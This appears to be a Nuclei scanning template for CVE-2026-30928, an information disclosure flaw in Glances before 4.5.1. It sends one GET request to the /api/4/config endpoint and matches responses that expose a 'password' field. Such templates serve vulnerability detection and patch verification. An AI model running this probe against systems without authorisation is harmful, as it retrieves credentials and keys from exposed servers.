Glances < 4.5.1 contains an information disclosure vulnerability caused by unfiltered exposure of sensitive configuration data via the /api/4/config REST API endpoint, letting remote attackers access credentials, exploit requires API access.
PoC
id: CVE-2026-30928
info:
name: Glances - Information Disclosure
author: theamanrawat
severity: high
description: |
Glances < 4.5.1 contains an information disclosure vulnerability caused by unfiltered exposure of sensitive configuration data via the /api/4/config REST API endpoint, letting remote attackers access credentials, exploit requires API access.
impact: |
Attackers can access sensitive credentials, including passwords and keys, leading to potential full system compromise.
remediation: |
Upgrade to version 4.5.1 or later.
reference:
- https://github.com/nicolargo/glances/security/advisories/GHSA-gh4x-f7cq-wwx6
- https://nvd.nist.gov/vuln/detail/CVE-2026-30928
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2026-30928
epss-score: 0.01657
epss-percentile: 0.75407
cwe-id: CWE-200
metadata:
verified: true
max-request: 1
tags: cve,cve2026,glances,exposure
http:
- method: GET
path:
- "{{BaseURL}}/api/4/config"
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- '"password": "[A-Za-z0-9_@.#&+-;$]*",'
- type: word
part: header
words:
- 'application/json'
- type: status
status:
- 200
# digest: 4b0a00483046022100801aad5f12986d9e7307b5f8d1ae9bb3d635443d9f14dc8e75d32a13f2769a15022100c41f4f5effad14e4f03fae420521b40e8be7e428920d3ee23e4e70a55fe7529e:922c64590222798bb761d5b6d8e72950
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